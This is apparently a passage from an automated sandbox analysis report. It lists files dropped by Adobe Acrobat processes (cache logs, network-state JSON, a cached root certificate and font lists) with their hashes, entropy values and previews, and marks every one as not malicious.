SHA-512:	9FBC0C014D0CBA19D0C8B3A11E900E1220B78AA3598AA7CC5FE4FE0F2E8868F1B77BF7711191909A7277C06DF18CE0E5CEC2AF4FDA3C8CC5FFFBF51872044C1F
Malicious:	false
Preview:	.}.I.....................................;...{..(;...}... ...{s.......... ...{s.. ...{s.P.... ...{s.................~...(;...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.155258376318701
Encrypted:	false
SSDEEP:	6:iO4u+q2PCHhJ2nKuAl9OmbnIFUtS4ZmwsIVkwOCHhJ2nKuAl9OmbjLJ:7cvBHAahFUt5/N56HAaSJ
MD5:	0FE4FD46AA80BC76FB0F2F25D1CEC02C
SHA1:	0201105847B69D1844778F9DA9EB08CA1298A5F7
SHA-256:	11C7FD254CAB825955F30370D28B9CE297F2C698DCE806F04BB347371C4B6D32
SHA-512:	5E0E7B1EA8C595C66603A3D7D660F1450F61534569E0F9DE20F623E017BC9984CD4C6A9ADD9BA6ACE55A1A491DEC92A20D8ADFABE52AD172485470A68AE41430
Malicious:	false
Preview:	2025/01/10-11:59:39.910 1b18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:59:39.912 1b18 Recovering log #3.2025/01/10-11:59:39.912 1b18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.155258376318701
Encrypted:	false
SSDEEP:	6:iO4u+q2PCHhJ2nKuAl9OmbnIFUtS4ZmwsIVkwOCHhJ2nKuAl9OmbjLJ:7cvBHAahFUt5/N56HAaSJ
MD5:	0FE4FD46AA80BC76FB0F2F25D1CEC02C
SHA1:	0201105847B69D1844778F9DA9EB08CA1298A5F7
SHA-256:	11C7FD254CAB825955F30370D28B9CE297F2C698DCE806F04BB347371C4B6D32
SHA-512:	5E0E7B1EA8C595C66603A3D7D660F1450F61534569E0F9DE20F623E017BC9984CD4C6A9ADD9BA6ACE55A1A491DEC92A20D8ADFABE52AD172485470A68AE41430
Malicious:	false
Preview:	2025/01/10-11:59:39.910 1b18 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:59:39.912 1b18 Recovering log #3.2025/01/10-11:59:39.912 1b18 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.117906439499364
Encrypted:	false
SSDEEP:	6:iO4g39+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSFoWZmwsFPVkwOCHhJ2nKuAl9Ombzz:7z39+vBHAa8uFUtDW/IV56HAa8RJ
MD5:	D6AD7BD9E69D5C7B26AD8EE1BBFED555
SHA1:	7DFF47A845E07A3EE02DFC6C399FCC47C2DDF382
SHA-256:	7A170397CD06499C8193A2BCF9A0428BB2E44148EEBC84ED948B34E4EDA95BA5
SHA-512:	EF1A44F1BE9E7751865077B72FA1F7F29E9CB4F48E5BC775961514B40C830E04A424E1E20A89270D2F2F516F106FB95CCE9047314A46EF7F0799109B2BD21AC7
Malicious:	false
Preview:	2025/01/10-11:59:39.990 bcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:59:39.991 bcc Recovering log #3.2025/01/10-11:59:39.991 bcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.117906439499364
Encrypted:	false
SSDEEP:	6:iO4g39+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSFoWZmwsFPVkwOCHhJ2nKuAl9Ombzz:7z39+vBHAa8uFUtDW/IV56HAa8RJ
MD5:	D6AD7BD9E69D5C7B26AD8EE1BBFED555
SHA1:	7DFF47A845E07A3EE02DFC6C399FCC47C2DDF382
SHA-256:	7A170397CD06499C8193A2BCF9A0428BB2E44148EEBC84ED948B34E4EDA95BA5
SHA-512:	EF1A44F1BE9E7751865077B72FA1F7F29E9CB4F48E5BC775961514B40C830E04A424E1E20A89270D2F2F516F106FB95CCE9047314A46EF7F0799109B2BD21AC7
Malicious:	false
Preview:	2025/01/10-11:59:39.990 bcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:59:39.991 bcc Recovering log #3.2025/01/10-11:59:39.991 bcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\37342180-4db1-4d71-b582-0ee75a82e4eb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4c4bcc.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963247713778661
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4TX:Y2sRds9dMHX3QYhbS7n7
MD5:	D46529E824E6E834D0D750C5560C136C
SHA1:	E6597929E439E6AF24CE7249F0D303987F0760BF
SHA-256:	818753A5C6D3C843FBA032CCB1B1681F6226C17B388A1E3052774B1DD8809C72
SHA-512:	CE939B02393B7F46CE528527A40DCB56023CF6682B664D5685354CDA51388EE603FCAF018A428EFB08AD5800B68847F6F512B05F6D772E435507EE32BCEA0963
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bcb7369e-6651-4775-b1ff-d9f6728683bf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.955417903287434
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqEsBdOg2HZcaq3QYiub6P7E4TX:Y2sRdsQdMHg3QYhbS7n7
MD5:	B2DA1FB699ED25659C88408B7B2FFEC2
SHA1:	CB155B91B77972E350EFD5DB0B74F6978F55FDA3
SHA-256:	ADF1961DF58E8633CA570B156330AEF6139B83C99730E76F5215EE1507BE1DEF
SHA-512:	95D42E3CF2F62EDD0AA42F03B5ECFFA5F9B3F0FA1E80788B22A66452AEABEC6A8AC0F53D6498B73571DCB6F4EBE919ADD0716C93B93938C6604B5CC0F607D167
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381088391382147","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":157323},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2359168500095175
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bgVyRglqn:S43C4mS7fFi0KFYDjr3LWO3V3aw+bgV2
MD5:	CDCA8420AB4ACDC997ABEE97C3DA7DB7
SHA1:	E79F697D45B19AF7A919295D5FC314B3A28C9529
SHA-256:	BCCD3AF94E7ED772AA7BB5863C41FE6845959EBC6E8449D59AF76E8D633325BD
SHA-512:	0DC48FAD166008478F9A1D9D262B527E8AE449313C4B1AB98954A77DD1EBB291E9117CD90C01EF6A7278C8DEFAF04AB22A1999C5A6D4AA50D26E8121F27C099E
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.177783106642135
Encrypted:	false
SSDEEP:	6:iO4An3R3+q2PCHhJ2nKuAl9OmbzNMxIFUtSAe2WZmwsAY9VkwOCHhJ2nKuAl9Omk:7NR3+vBHAa8jFUte2W/29V56HAa84J
MD5:	BB3C8DEF8AE40F1408A98DBF0EC1C543
SHA1:	E91F6F00D82270653BD34F12EBF6587BA75598A6
SHA-256:	239220D19A2E1F26EF4A44DAE642C0C5B38211C6B1F4D601289922592ABDD6A2
SHA-512:	031B62D57BCD62BF89566CA22AE903FEB7D4CF86379C086F30D057D440CD6D50889A79E48B8EE9685B5D5A88B13DFB43FB20763EA01F7F8D917FA1E9D59988ED
Malicious:	false
Preview:	2025/01/10-11:59:40.699 bcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:59:40.720 bcc Recovering log #3.2025/01/10-11:59:40.722 bcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.177783106642135
Encrypted:	false
SSDEEP:	6:iO4An3R3+q2PCHhJ2nKuAl9OmbzNMxIFUtSAe2WZmwsAY9VkwOCHhJ2nKuAl9Omk:7NR3+vBHAa8jFUte2W/29V56HAa84J
MD5:	BB3C8DEF8AE40F1408A98DBF0EC1C543
SHA1:	E91F6F00D82270653BD34F12EBF6587BA75598A6
SHA-256:	239220D19A2E1F26EF4A44DAE642C0C5B38211C6B1F4D601289922592ABDD6A2
SHA-512:	031B62D57BCD62BF89566CA22AE903FEB7D4CF86379C086F30D057D440CD6D50889A79E48B8EE9685B5D5A88B13DFB43FB20763EA01F7F8D917FA1E9D59988ED
Malicious:	false
Preview:	2025/01/10-11:59:40.699 bcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:59:40.720 bcc Recovering log #3.2025/01/10-11:59:40.722 bcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 4, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.2931703926225038
Encrypted:	false
SSDEEP:	192:PedRBTVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:Pe5ci5H5FY+EUUUTTcHqFzqFP
MD5:	7F4B9FA1D15DF121BE0490D75EF362E7
SHA1:	DADA7945AE76137B9C9F7551287ACEE3766ED9CC
SHA-256:	F7672E4D4356265A653224228CDBD889E3E03E1841E00E8D3872266E96FABD86
SHA-512:	DF1B08E4122C97385D31291599F8E09F799F6FE0171B71C775BFFD77FABE33491D5A9B0F690CC56BA7A0866A432B31747116E080396C1DE60BCC36C0BE6BAA8C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.210544024108019
Encrypted:	false
SSDEEP:	24:7+tQfwKMqLKzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzm1:7MoMqOmFTIF3XmHjBoGGR+jMz+Lhn
MD5:	FB7121BE1CDB8504F176A46D51EDE3FA
SHA1:	6134EA8FF4024D878E96C0BF65F4E97821CA088D
SHA-256:	5F3A1BEB3BEA6DD45BB2EF396C3B0BA0884029F776E33C6AE1B997E911121DC0
SHA-512:	57FA5F765411B17C53C6E4DC3B4A3513994E1685BBF9766077F0286D0471529E9BB8EFC5143FD117B6F28A1F2B0BD09B304F40955691ADD8BFAEF8DE443A8C9C
Malicious:	false
Preview:	.... .c......h}h........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklMN3/tfllXlE/HT8k6Rl7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKVVeT8PRNMa8RdWBwRd
MD5:	E32D8519EDE46ED943894E987E027382
SHA1:	2C2EF3DFD4E65A7DD5E80CFD44DA08249333047F
SHA-256:	4D91929EEC0A5B6B7A91E157E29F8CDC109038EA4D23593EAFCE774736C2F4BD
SHA-512:	EF5DEF6772E6DFFF7A64FE69D6110DB97F518ABE4369BB1DD14330B71D340681E845D5AADF80C12659543DEE7EF6902151DB5A1943715BF4C9CCDBFF47C1E99F
Malicious:	false
Preview:	p...... ........?....c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3272

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat 